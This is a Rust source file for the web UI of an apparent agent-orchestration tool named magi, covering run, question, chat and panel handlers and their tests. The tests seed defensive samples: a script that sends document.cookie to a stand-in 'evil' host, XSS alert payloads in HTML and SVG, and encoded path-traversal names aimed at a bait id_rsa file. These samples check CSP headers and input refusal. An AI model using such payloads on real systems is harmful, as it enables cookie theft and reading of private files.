1737 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
1738 tokio::spawn(async move {
1739 let mut ticker = tokio::time::interval(POLL);
1740 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
1741 loop {
1742 ticker.tick().await;
1745 let state = Arc::clone(&ui);
1746 let revisions = tokio::task::spawn_blocking(move || {
1747 (
1748 state.queue.revision(),
1749 runs_revision(&state.runs),
1750 state.questions.revision(),
1751 state.chats.revision(),
1752 state.lock_loop().rev,
1756 )
1757 })
1758 .await;
1759 let Ok(revisions) = revisions else { break };
1760 if last == Some(revisions) {
1761 continue;
1762 }
1763 last = Some(revisions);
1764 let payload = serde_json::json!({
1765 "queue_rev": revisions.0,
1766 "runs_rev": revisions.1,
1767 "questions_rev": revisions.2,
1768 "chats_rev": revisions.3,
1769 "loop_rev": revisions.4,
1770 });
1771 let Ok(event) = Event::default().event("change").json_data(payload) else {
1773 break;
1774 };
1775 if tx.send(event).await.is_err() {
1776 break;
1777 }
1778 }
1779 });
1780 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
1781 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
1782}
1783
1784fn runs_revision(runs: &FsPath) -> u64 {
1791 use std::hash::{Hash as _, Hasher as _};
1792
1793 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
1794 .into_iter()
1795 .flatten()
1796 .flatten()
1797 .filter_map(|e| {
1798 let path = e.path().join("run.json");
1799 let mtime = path
1800 .metadata()
1801 .ok()?
1802 .modified()
1803 .ok()?
1804 .duration_since(std::time::UNIX_EPOCH)
1805 .ok()?
1806 .as_millis() as u64;
1807 let id = e.file_name().to_string_lossy().into_owned();
1808 Some((id, mtime))
1809 })
1810 .collect();
1811
1812 if entries.is_empty() {
1813 return 0;
1814 }
1815
1816 entries.sort_unstable();
1817 let mut hasher = std::hash::DefaultHasher::new();
1818 for (id, mtime) in &entries {
1819 id.hash(&mut hasher);
1820 mtime.hash(&mut hasher);
1821 }
1822 let h = hasher.finish();
1823 if h == 0 { 1 } else { h }
1824}
1825
1826fn run_ids(runs: &FsPath) -> Vec<String> {
1832 let mut ids: Vec<String> = std::fs::read_dir(runs)
1833 .into_iter()
1834 .flatten()
1835 .flatten()
1836 .filter(|e| e.path().join("run.json").is_file())
1837 .map(|e| e.file_name().to_string_lossy().into_owned())
1838 .collect();
1839 ids.sort_unstable_by(|a, b| b.cmp(a));
1841 ids
1842}
1843
1844fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
1846 let path = runs.join(id).join("run.json");
1847 let body =
1848 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
1849 let state: RunState =
1850 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1851 if state.schema != run::SCHEMA {
1852 anyhow::bail!(
1853 "run {} was written by a different magi (schema {}, this build speaks {})",
1854 state.id,
1855 state.schema,
1856 run::SCHEMA
1857 );
1858 }
1859 Ok(state)
1860}
1861
1862#[must_use]
1870pub fn runs_unreadable(runs: &FsPath) -> usize {
1871 run_ids(runs)
1872 .into_iter()
1873 .filter(|id| read_run(runs, id).is_err())
1874 .count()
1875}
1876
1877fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
1879 if runs.join(id).join("run.json").is_file() {
1880 return Ok(id.to_owned());
1881 }
1882 pick(run_ids(runs), id, "run")
1883}
1884
1885fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
1887 if queue.path_of(id).is_file() {
1888 return Ok(id.to_owned());
1889 }
1890 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
1891}
1892
1893#[derive(Debug, Serialize)]
1904struct QuestionView {
1905 #[serde(flatten)]
1906 question: Question,
1907 detail_md: Vec<md::Node>,
1908}
1909
1910impl From<Question> for QuestionView {
1911 fn from(question: Question) -> Self {
1912 let base = md::ImageBase::QuestionPanel {
1913 id: question.id.clone(),
1914 };
1915 Self {
1916 detail_md: md::to_nodes(&question.detail, &base),
1917 question,
1918 }
1919 }
1920}
1921
1922async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
1928 blocking(move || {
1929 Ok(Json(
1930 ui.questions
1931 .list()
1932 .into_iter()
1933 .map(QuestionView::from)
1934 .collect(),
1935 ))
1936 })
1937 .await
1938}
1939
1940#[derive(Debug, Default, Deserialize)]
1946#[serde(default, deny_unknown_fields)]
1947struct NewAnswer {
1948 choice: Option<String>,
1949 text: Option<String>,
1950}
1951
1952async fn question_answer(
1953 State(ui): State<Arc<Ui>>,
1954 Path(id): Path<String>,
1955 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
1956) -> ApiResult<Json<QuestionView>> {
1957 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1958 let answer = match (body.choice, body.text) {
1959 (Some(c), None) => Answer::Choice(c),
1960 (None, Some(t)) => Answer::Text(t),
1961 (Some(_), Some(_)) => {
1962 return Err(ApiError::bad_request(
1963 "send either `choice` or `text`, not both",
1964 ));
1965 }
1966 (None, None) => {
1967 return Err(ApiError::bad_request("send a `choice` or a `text`"));
1968 }
1969 };
1970
1971 blocking(move || {
1972 let id = resolve_question(&ui.questions, &id)?;
1973 let mut q = ui
1974 .questions
1975 .get(&id)
1976 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
1977 if !q.status.open() {
1978 return Err(ApiError::conflict(format!(
1982 "question {} is already {}",
1983 q.short(),
1984 q.status.as_str()
1985 )));
1986 }
1987 q.answer(answer).map_err(ApiError::bad_request_from)?;
1991 ui.questions.put(&mut q)?;
1992 Ok(Json(QuestionView::from(q)))
1993 })
1994 .await
1995}
1996
1997fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
1999 if store.path_of(id).is_file() {
2000 return Ok(id.to_owned());
2001 }
2002 pick(
2003 store.list().into_iter().map(|q| q.id).collect(),
2004 id,
2005 "question",
2006 )
2007}
2008
2009async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2024 blocking(move || {
2025 let id = resolve_question(&ui.questions, &id)?;
2026 let Some(html) = ui.questions.panel_html(&id) else {
2027 return Err(ApiError::not_found(format!("question {id} has no panel")));
2028 };
2029 Ok(panel_response(
2030 "text/html; charset=utf-8",
2031 false,
2032 html.into_bytes(),
2033 ))
2034 })
2035 .await
2036}
2037
2038async fn question_asset(
2066 State(ui): State<Arc<Ui>>,
2067 Path((id, name)): Path<(String, String)>,
2068) -> ApiResult<Response> {
2069 if !crate::ask::valid_asset_name(&name) {
2072 return Err(ApiError::bad_request(format!(
2073 "`{name}` is not a usable asset name"
2074 )));
2075 }
2076 blocking(move || {
2077 let id = resolve_question(&ui.questions, &id)?;
2078 let asset = ui
2079 .questions
2080 .panel_asset(&id, &name)
2081 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2082 let Some(bytes) = asset else {
2083 return Err(ApiError::not_found(format!(
2084 "question {id} has no asset `{name}`"
2085 )));
2086 };
2087 Ok(panel_response(
2088 asset_content_type(&name),
2089 is_svg(&name),
2090 bytes,
2091 ))
2092 })
2093 .await
2094}
2095
2096fn asset_content_type(name: &str) -> &'static str {
2109 match extension(name).as_deref() {
2110 Some("png") => "image/png",
2111 Some("jpg" | "jpeg") => "image/jpeg",
2112 Some("gif") => "image/gif",
2113 Some("webp") => "image/webp",
2114 Some("svg") => "image/svg+xml",
2115 Some("css") => "text/css; charset=utf-8",
2116 Some("txt") => "text/plain; charset=utf-8",
2117 _ => "application/octet-stream",
2118 }
2119}
2120
2121fn is_svg(name: &str) -> bool {
2124 extension(name).as_deref() == Some("svg")
2125}
2126
2127fn extension(name: &str) -> Option<String> {
2129 name.rsplit_once('.')
2130 .map(|(_, ext)| ext.to_ascii_lowercase())
2131}
2132
2133fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2150 let mut res = (
2151 [
2152 (header::CONTENT_TYPE, content_type),
2153 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2154 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2155 (header::REFERRER_POLICY, "no-referrer"),
2156 ],
2157 body,
2158 )
2159 .into_response();
2160 if download {
2161 res.headers_mut().insert(
2162 header::CONTENT_DISPOSITION,
2163 HeaderValue::from_static("attachment"),
2164 );
2165 }
2166 res
2167}
2168
2169#[derive(Debug, Serialize)]
2178struct ChatView {
2179 #[serde(flatten)]
2180 chat: Chat,
2181 turn_bodies_md: Vec<Vec<md::Node>>,
2182 draft_md: Option<Vec<md::Node>>,
2183}
2184
2185impl From<Chat> for ChatView {
2186 fn from(chat: Chat) -> Self {
2187 let turn_bodies_md = chat
2188 .turns
2189 .iter()
2190 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2191 .collect();
2192 let draft_md = chat
2193 .draft
2194 .as_deref()
2195 .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2196 Self {
2197 turn_bodies_md,
2198 draft_md,
2199 chat,
2200 }
2201 }
2202}
2203
2204async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2212 blocking(move || {
2213 Ok(Json(
2214 ui.chats.list().into_iter().map(ChatView::from).collect(),
2215 ))
2216 })
2217 .await
2218}
2219
2220async fn chat_detail(
2221 State(ui): State<Arc<Ui>>,
2222 Path(id): Path<String>,
2223) -> ApiResult<Json<ChatView>> {
2224 blocking(move || {
2225 let id = resolve_chat(&ui.chats, &id)?;
2226 Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2227 })
2228 .await
2229}
2230
2231#[derive(Debug, Default, Deserialize)]
2242#[serde(default)]
2243struct NewChat {
2244 idea: String,
2245 agent: Option<String>,
2246 repo: Option<PathBuf>,
2247 from: Option<String>,
2248}
2249
2250async fn chat_post(
2259 State(ui): State<Arc<Ui>>,
2260 body: std::result::Result<Json<NewChat>, JsonRejection>,
2261) -> ApiResult<impl IntoResponse> {
2262 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2263 if body.idea.trim().is_empty() {
2264 return Err(ApiError::bad_request(
2265 "an interview needs something to interview about",
2266 ));
2267 }
2268
2269 let from = {
2273 let ui = Arc::clone(&ui);
2274 let from_id = body.from.clone();
2275 blocking(move || match from_id {
2276 None => Ok(None),
2277 Some(id) => {
2278 let resolved = resolve_chat(&ui.chats, &id)?;
2279 Ok(Some(ui.chats.get(&resolved)?))
2280 }
2281 })
2282 .await?
2283 };
2284
2285 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
2289 let cfg = config_for(&repo).await?;
2290 let chat = chat::start(
2291 &ui.chats,
2292 &cfg,
2293 repo,
2294 &body.idea,
2295 body.agent.as_deref(),
2296 from.as_ref(),
2297 )
2298 .await
2299 .map_err(ApiError::from)?;
2300 Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
2301}
2302
2303#[derive(Debug, Default, Deserialize)]
2305#[serde(default, deny_unknown_fields)]
2306struct NewTurn {
2307 text: String,
2308}
2309
2310async fn chat_say(
2336 State(ui): State<Arc<Ui>>,
2337 Path(id): Path<String>,
2338 body: std::result::Result<Json<NewTurn>, JsonRejection>,
2339) -> ApiResult<(StatusCode, Json<ChatView>)> {
2340 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2341 if body.text.trim().is_empty() {
2342 return Err(ApiError::bad_request("say something"));
2343 }
2344
2345 let id = {
2346 let ui = Arc::clone(&ui);
2347 let asked = id.clone();
2348 blocking(move || resolve_chat(&ui.chats, &asked)).await?
2349 };
2350 let _turn = ui.begin_turn(&id)?;
2354
2355 let (chat, cfg) = {
2356 let ui = Arc::clone(&ui);
2357 let id = id.clone();
2358 blocking(move || {
2359 let chat = ui.chats.get(&id)?;
2360 let (cfg, _) = Config::discover(&chat.repo, None)?;
2361 Ok((chat, cfg))
2362 })
2363 .await?
2364 };
2365
2366 let chats = ui.chats.clone();
2381 let text = {
2382 let mut chat = chat.clone();
2383 let chats = chats.clone();
2384 let said = body.text.clone();
2385 blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
2386 };
2387 let mut chat = {
2390 let ui = Arc::clone(&ui);
2391 let id = id.clone();
2392 blocking(move || Ok(ui.chats.get(&id)?)).await?
2393 };
2394 let queued = chat.clone();
2395 tokio::spawn(async move {
2396 let _turn = _turn;
2397 if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
2398 tracing::warn!("chat {id} turn failed: {e:#}");
2401 }
2402 });
2403
2404 Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
2408}
2409
2410#[derive(Debug, Default, Deserialize)]
2412#[serde(default, deny_unknown_fields)]
2413struct FileDraft {
2414 priority: i32,
2415}
2416
2417async fn chat_file(
2424 State(ui): State<Arc<Ui>>,
2425 Path(id): Path<String>,
2426 body: std::result::Result<Json<FileDraft>, JsonRejection>,
2427) -> ApiResult<Json<serde_json::Value>> {
2428 let body = match body {
2433 Ok(Json(body)) => body,
2434 Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
2435 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2436 };
2437
2438 blocking(move || {
2439 let id = resolve_chat(&ui.chats, &id)?;
2440 let mut chat = ui.chats.get(&id)?;
2441 if let Err(problems) = chat::draft_problems(&chat) {
2446 return Err(ApiError::bad_request_with(
2447 "the draft is not fileable yet",
2448 problems,
2449 ));
2450 }
2451 let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
2452 Ok(Json(serde_json::json!({ "task": task })))
2453 })
2454 .await
2455}
2456
2457fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
2459 pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
2460}
2461
2462async fn config_for(repo: &FsPath) -> ApiResult<Config> {
2470 let repo = repo.to_path_buf();
2471 blocking(move || {
2472 let (cfg, _) = Config::discover(&repo, None)?;
2473 Ok(cfg)
2474 })
2475 .await
2476}
2477
2478fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
2484 let mut hits = ids
2485 .into_iter()
2486 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
2487 match (hits.next(), hits.next()) {
2488 (Some(one), None) => Ok(one),
2489 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
2490 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
2491 "`{prefix}` matches more than one {what}, including {a} and {b}"
2492 ))),
2493 }
2494}
2495
2496#[cfg(test)]
2497mod tests {
2498 use pretty_assertions::assert_eq;
2499 use serde_json::Value;
2500 use tempfile::TempDir;
2501 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
2502
2503 use super::*;
2504 use crate::config::Config;
2505 use crate::queue::TaskStatus;
2506
2507 struct Fixture {
2513 home: TempDir,
2514 addr: SocketAddr,
2515 }
2516
2517 impl Fixture {
2518 async fn start() -> Self {
2519 Self::with_loop(launch_idle).await
2520 }
2521
2522 async fn with_loop(launch: Launch) -> Self {
2524 let home = TempDir::new().expect("temp home");
2525 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
2526 Self { home, addr }
2527 }
2528
2529 async fn with_repo(repo: PathBuf) -> Self {
2533 let home = TempDir::new().expect("temp home");
2534 let addr = Self::serve(home.path(), repo, launch_idle).await;
2535 Self { home, addr }
2536 }
2537
2538 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
2539 let queue = Queue::at(home.join("queue"));
2540 let runs = home.join("runs");
2541 std::fs::create_dir_all(&runs).expect("runs dir");
2542 let ui = Ui::new(
2543 queue,
2544 Questions::at(home.join("questions")),
2545 Chats::at(home.join("chats")),
2546 runs,
2547 home.to_path_buf(),
2548 repo,
2549 )
2550 .with_launch(launch);
2551 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
2552 .await
2553 .expect("bind loopback");
2554 let addr = listener.local_addr().expect("local addr");
2555 tokio::spawn(async move {
2556 let _ = axum::serve(listener, ui.router()).await;
2557 });
2558 addr
2559 }
2560
2561 fn queue(&self) -> Queue {
2562 Queue::at(self.home.path().join("queue"))
2563 }
2564
2565 fn questions(&self) -> Questions {
2566 Questions::at(self.home.path().join("questions"))
2567 }
2568
2569 fn chats(&self) -> Chats {
2570 Chats::at(self.home.path().join("chats"))
2571 }
2572
2573 fn runs(&self) -> PathBuf {
2574 self.home.path().join("runs")
2575 }
2576
2577 async fn get(&self, path: &str) -> Res {
2578 request(self.addr, "GET", path, None).await
2579 }
2580
2581 async fn head(&self, path: &str) -> Res {
2586 request(self.addr, "HEAD", path, None).await
2587 }
2588
2589 async fn post(&self, path: &str, body: Option<&str>) -> Res {
2590 request(self.addr, "POST", path, body).await
2591 }
2592
2593 async fn delete(&self, path: &str) -> Res {
2594 request(self.addr, "DELETE", path, None).await
2595 }
2596 }
2597
2598 struct Res {
2599 status: u16,
2600 headers: String,
2601 head: String,
2606 body: String,
2607 bytes: Vec<u8>,
2611 }
2612
2613 impl Res {
2614 fn json(&self) -> Value {
2615 serde_json::from_str(&self.body)
2616 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
2617 }
2618
2619 fn header(&self, name: &str) -> Option<&str> {
2621 self.head.lines().find_map(|line| {
2622 let (key, value) = line.split_once(':')?;
2623 key.trim()
2624 .eq_ignore_ascii_case(name)
2625 .then(|| value.trim_start().trim_end_matches('\r'))
2626 })
2627 }
2628 }
2629
2630 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
2633 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
2634 if let Some(body) = body {
2635 head.push_str("Content-Type: application/json\r\n");
2636 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
2637 }
2638 head.push_str("\r\n");
2639 if let Some(body) = body {
2640 head.push_str(body);
2641 }
2642 let mut socket = tokio::net::TcpStream::connect(addr)
2643 .await
2644 .expect("connect to the test server");
2645 socket
2646 .write_all(head.as_bytes())
2647 .await
2648 .expect("write request");
2649 let mut raw = Vec::new();
2650 socket.read_to_end(&mut raw).await.expect("read response");
2651 let split = raw
2654 .windows(4)
2655 .position(|w| w == b"\r\n\r\n")
2656 .expect("a header block");
2657 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
2658 let bytes = raw[split + 4..].to_vec();
2659 let status = head
2660 .lines()
2661 .next()
2662 .and_then(|line| line.split_whitespace().nth(1))
2663 .and_then(|code| code.parse().ok())
2664 .expect("a status line");
2665 Res {
2666 status,
2667 headers: head.to_lowercase(),
2668 head,
2669 body: String::from_utf8_lossy(&bytes).into_owned(),
2670 bytes,
2671 }
2672 }
2673
2674 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
2676 let mut state = RunState::new(
2677 PathBuf::from("/repo/magi"),
2678 "main".to_owned(),
2679 "0123456789abcdef".to_owned(),
2680 "Add a web UI\n\nMobile first.".to_owned(),
2681 Config::default(),
2682 );
2683 state.id = id.to_owned();
2684 state.status = status;
2685 let dir = runs.join(id);
2686 std::fs::create_dir_all(&dir).expect("run dir");
2687 std::fs::write(
2688 dir.join("run.json"),
2689 serde_json::to_string_pretty(&state).expect("serialize run"),
2690 )
2691 .expect("write run.json");
2692 }
2693
2694 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
2695 let body = serde_json::json!({
2696 "schema": 1,
2697 "pid": 4242,
2698 "started_at": Timestamp::now().to_string(),
2699 "updated_at": updated_at.to_string(),
2700 "idle": false,
2701 "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
2702 "completed": 7,
2703 "polls": 143,
2704 });
2705 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
2706 }
2707
2708 fn launch_idle(
2718 _opts: daemon::Opts,
2719 stop: daemon::Stop,
2720 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2721 Box::pin(async move {
2722 while !stop.stopped() {
2723 tokio::time::sleep(Duration::from_millis(2)).await;
2724 }
2725 Ok(())
2726 })
2727 }
2728
2729 fn launch_broken(
2732 _opts: daemon::Opts,
2733 _stop: daemon::Stop,
2734 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2735 Box::pin(async {
2736 Err(anyhow::anyhow!(
2737 "publish the daemon status file: read-only file system"
2738 ))
2739 })
2740 }
2741
2742 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
2750 for _ in 0..200 {
2751 let view = fx.get("/api/loop").await.json();
2752 if want(&view) {
2753 return view;
2754 }
2755 tokio::time::sleep(Duration::from_millis(10)).await;
2756 }
2757 panic!(
2758 "the loop never settled: {}",
2759 fx.get("/api/loop").await.json()
2760 );
2761 }
2762
2763 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
2765 let store = fx.questions();
2766 let mut q = Question::new(
2767 "20260902-000000-beef".to_owned(),
2768 "implement".to_owned(),
2769 "impl-A".to_owned(),
2770 summary.to_owned(),
2771 "because it matters".to_owned(),
2772 choices.iter().map(|c| (*c).to_owned()).collect(),
2773 );
2774 store.put(&mut q).expect("put question");
2775 q.id
2776 }
2777
2778 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
2784 let store = fx.questions();
2785 let mut q = Question::new(
2786 "20260902-000000-beef".to_owned(),
2787 "land".to_owned(),
2788 "fix".to_owned(),
2789 "Merge this?".to_owned(),
2790 "the diff is in the panel".to_owned(),
2791 vec!["merge".to_owned(), "hold".to_owned()],
2792 );
2793 let staging = fx.home.path().join("staging");
2796 std::fs::create_dir_all(&staging).expect("staging dir");
2797 let sources: Vec<PathBuf> = assets
2798 .iter()
2799 .map(|(name, bytes)| {
2800 let path = staging.join(name);
2801 std::fs::write(&path, bytes).expect("write staged asset");
2802 path
2803 })
2804 .collect();
2805 store
2806 .put_panel(&mut q, html, &sources)
2807 .expect("write the panel");
2808 store.put(&mut q).expect("put question");
2809 q.id
2810 }
2811
2812 fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
2820 let store = fx.chats();
2821 std::fs::create_dir_all(store.root()).expect("chats dir");
2822 let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
2823 .expect("serialize a seat");
2824 let body = serde_json::json!({
2825 "schema": 1,
2826 "id": id,
2827 "repo": "/repo/magi",
2828 "agent": "sonnet",
2829 "status": status,
2830 "turns": [
2831 { "who": "operator", "body": "rework the config loader",
2832 "at": Timestamp::now().to_string() },
2833 { "who": "agent", "body": "Which part is hurting?",
2834 "at": Timestamp::now().to_string() },
2835 ],
2836 "draft": draft,
2837 "task": Value::Null,
2838 "created_at": Timestamp::now().to_string(),
2839 "updated_at": Timestamp::now().to_string(),
2840 "seat": seat,
2841 });
2842 std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
2843 store.get(id).expect("the seeded chat has to be readable");
2846 id.to_owned()
2847 }
2848
2849 fn good_draft() -> String {
2852 "# Rework the config loader\n\n\
2853 ## Why\n\n\
2854 It re-reads `magi.toml` on every lookup, so a run that asks for the \
2855 roster four hundred times pays four hundred parses of the same file.\n\n\
2856 ## What\n\n\
2857 Load the layers once when the run starts and hand the merged value \
2858 around. Nothing about the file format changes.\n\n\
2859 ## Acceptance criteria\n\n\
2860 - `Config::discover` is called exactly once per run.\n\
2861 - `cargo test` passes with no change to any existing assertion.\n"
2862 .to_owned()
2863 }
2864
2865 #[tokio::test]
2866 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
2867 let fx = Fixture::start().await;
2868 let id = panel(
2869 &fx,
2870 "<h1>Merge?</h1><img src=\"diff.svg\">",
2871 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
2872 );
2873
2874 for path in [
2875 format!("/api/questions/{id}/panel"),
2876 format!("/api/questions/{id}/asset/diff.svg"),
2877 ] {
2878 let res = fx.get(&path).await;
2879 assert_eq!(res.status, 200, "{path}: {}", res.body);
2880 assert_eq!(
2886 res.header("content-security-policy"),
2887 Some(
2888 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
2889 font-src data:; base-uri 'none'; form-action 'none'; \
2890 frame-ancestors 'self'"
2891 ),
2892 "{path} is the only thing between a hostile panel and the tailnet"
2893 );
2894 assert_eq!(
2895 res.header("x-content-type-options"),
2896 Some("nosniff"),
2897 "{path}: a browser must not re-decide the type we sent"
2898 );
2899 assert_eq!(
2900 res.header("referrer-policy"),
2901 Some("no-referrer"),
2902 "{path}: a panel must not leak the question id off the machine"
2903 );
2904
2905 let pre = fx.head(&path).await;
2910 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
2911 assert_eq!(
2912 pre.header("content-security-policy"),
2913 res.header("content-security-policy"),
2914 "{path}: the preflight carries the same policy"
2915 );
2916 assert_eq!(
2917 pre.header("content-type"),
2918 res.header("content-type"),
2919 "{path}: the preflight carries the same type"
2920 );
2921 }
2922 }
2923
2924 #[tokio::test]
2925 async fn a_panel_reaches_the_browser_byte_for_byte() {
2926 let fx = Fixture::start().await;
2927 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
2932 let id = panel(&fx, html, &[]);
2933
2934 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
2935
2936 assert_eq!(res.status, 200);
2937 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
2938 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
2939 assert_eq!(
2940 res.header("content-disposition"),
2941 None,
2942 "the panel itself is rendered in the frame, not downloaded"
2943 );
2944 }
2945
2946 #[tokio::test]
2947 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
2948 let fx = Fixture::start().await;
2949 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
2950 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
2951 let id = panel(
2952 &fx,
2953 "<img src=\"diff.svg\"><img src=\"shot.png\">",
2954 &[("diff.svg", svg), ("shot.png", png)],
2955 );
2956
2957 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
2958 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
2959
2960 assert_eq!(as_svg.status, 200);
2961 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
2962 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
2967
2968 assert_eq!(as_png.status, 200);
2969 assert_eq!(as_png.header("content-type"), Some("image/png"));
2970 assert_eq!(
2971 as_png.header("content-disposition"),
2972 None,
2973 "a raster image has no execution surface, so tapping it still shows it"
2974 );
2975 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
2976 }
2977
2978 #[tokio::test]
2979 async fn an_html_asset_is_never_served_as_html() {
2980 let fx = Fixture::start().await;
2981 let id = panel(
2982 &fx,
2983 "<p>see the notes</p>",
2984 &[
2985 (
2986 "notes.html",
2987 b"<script>fetch('http://evil/'+document.cookie)</script>",
2988 ),
2989 ("hook.js", b"fetch('http://evil/')"),
2990 ("data.json", b"{}"),
2991 ("HEADLINE.TXT", b"plain"),
2992 ],
2993 );
2994
2995 for name in ["notes.html", "hook.js", "data.json"] {
2996 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
2997 assert_eq!(res.status, 200, "{name}: {}", res.body);
2998 assert_eq!(
3003 res.header("content-type"),
3004 Some("application/octet-stream"),
3005 "{name} must not be a type the browser will execute or render"
3006 );
3007 }
3008 let txt = fx
3011 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
3012 .await;
3013 assert_eq!(
3014 txt.header("content-type"),
3015 Some("text/plain; charset=utf-8")
3016 );
3017 }
3018
3019 #[tokio::test]
3020 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
3021 let fx = Fixture::start().await;
3022 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3023 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
3027
3028 for encoded in [
3035 "%2e%2e%2fid_rsa",
3036 "..%2fid_rsa",
3037 "..%5cid_rsa",
3038 "%2e%2e%5cid_rsa",
3039 "diff%00.svg",
3040 "..",
3041 ".hidden",
3042 "%2e%2e%2f%2e%2e%2fid_rsa",
3043 ] {
3044 let res = fx
3045 .get(&format!("/api/questions/{id}/asset/{encoded}"))
3046 .await;
3047 assert_eq!(
3048 res.status, 400,
3049 "`{encoded}` has to be refused by name, not looked up: {}",
3050 res.body
3051 );
3052 assert!(res.json()["error"].is_string(), "{}", res.body);
3053 }
3054
3055 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
3061 let res = fx
3062 .get(&format!("/api/questions/{id}/asset/{literal}"))
3063 .await;
3064 assert_eq!(
3065 res.status, 404,
3066 "`{literal}` must not match the asset route at all: {}",
3067 res.body
3068 );
3069 }
3070 }
3071
3072 #[tokio::test]
3073 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
3074 let fx = Fixture::start().await;
3075 let plain = ask(&fx, "Which backend?", &["SQLite"]);
3076 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
3077
3078 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
3082 assert_eq!(none.status, 404, "{}", none.body);
3083 assert!(none.json()["error"].is_string(), "{}", none.body);
3084 assert_eq!(
3085 fx.head(&format!("/api/questions/{plain}/panel"))
3086 .await
3087 .status,
3088 404,
3089 "the preflight is the only way the client can learn this"
3090 );
3091
3092 let missing = fx
3094 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
3095 .await;
3096 assert_eq!(missing.status, 404, "{}", missing.body);
